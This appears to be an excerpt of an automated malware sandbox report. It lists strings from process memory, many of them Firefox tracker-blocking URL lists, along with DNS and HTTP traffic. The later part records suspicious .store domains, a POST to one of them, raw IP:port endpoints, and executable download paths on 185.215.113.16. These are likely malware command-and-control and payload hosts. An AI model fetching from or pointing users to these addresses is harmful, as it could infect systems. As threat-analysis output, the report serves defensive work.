Source: firefox.exe, 0000001F.00000002.2974405710.000001B33885D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33885D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.3070915042.000001B33E20F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webcompat-reporter@mozilla.org.xpi://pub.doubleverify.com/signals/pub.jspictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svg://.imgur.io/js/vendor..bundle.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.jsFileUtils_closeAtomicFileOutputStreamresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/file-output-stream;1://track.adform.net/serving/scripts/trackpoint/://auth.9c9media.ca/auth/main.jsresource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/facebook.svgFileUtils_openSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1FileUtils_closeSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://c.amazon-adsystem.com/aax2/apstag.js://static.criteo.net/js/ld/publishertag.js@mozilla.org/network/safe-file-output-stream;1://.imgur.com/js/vendor..bundle.js://static.chartbeat.com/js/chartbeat.js://www.google-analytics.com/plugins/ua/ec.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagmanager.com/gtm.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js*://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://www.google-analytics.com/gtm/js://imasdk.googleapis.com/js/sdkloader/ima3.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://adservex.media.net/videoAds.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E0E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 56.163.245.4.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101.126.19.171:80
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://101.43.160.136:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.161.20.142:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.202.101.219:8080
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3076455543.000001B33E5E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3031423613.000001B33C5E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B3448FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.151.109.160:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.145.17.167:9090
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.28.185.29:80
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.174.113:8090
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.235.70.96:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://168.138.211.88:8099
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.228.80.130:80
Source: file.exe, 00000000.00000003.2053837989.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/2
Source: 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/e
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe)
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe_):
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2053837989.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeF
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeS
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe_E
Source: file.exe, 00000000.00000003.2053837989.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/o
Source: 70bf1463df.exe, 00000010.00000003.2790995817.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeex
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exel
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exep
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
